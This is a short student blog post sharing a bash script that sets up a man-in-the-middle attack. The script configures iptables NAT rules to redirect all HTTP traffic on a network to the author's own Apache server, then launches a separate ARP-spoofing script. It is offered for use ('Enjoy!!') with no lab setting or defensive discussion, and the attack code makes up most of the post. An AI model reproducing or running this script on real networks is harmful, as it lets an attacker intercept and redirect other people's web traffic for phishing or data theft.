Intro

I am a Digital Forensics student studying at university in the UK. I also do some Cyber Security modules.
I am currently in my 2nd year.
I have mainly started this to post interesting things I have learned and problems I have encountered.
However, I will use it to do write ups about useful things I want to remember such as commands and tools I have used so I don't forget them! (To be honest, I don't expect anyone to read this!)

Tuesday 24 February 2015

DNSSpoof Bash Script

This ties into my previous post.
This script does some IPTables commands then calls the previous script to execute the arpspoof.

#!/bin/bash
/etc/init.d/apache2 start
iptables -t nat --flush
iptables --zero
echo -e "Enter your interface: wlan0 or eth0"
read NIC
echo -e "Enter your IP: EG 192.168.0.4"
read INTIP
iptables -A FORWARD --in-interface "$NIC" -j ACCEPT
iptables -t nat --append POSTROUTING --out-interface "$NIC" -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination "$INTIP"
sh ./ARPSPOOFBASH


Enjoy!!

No comments:

Post a Comment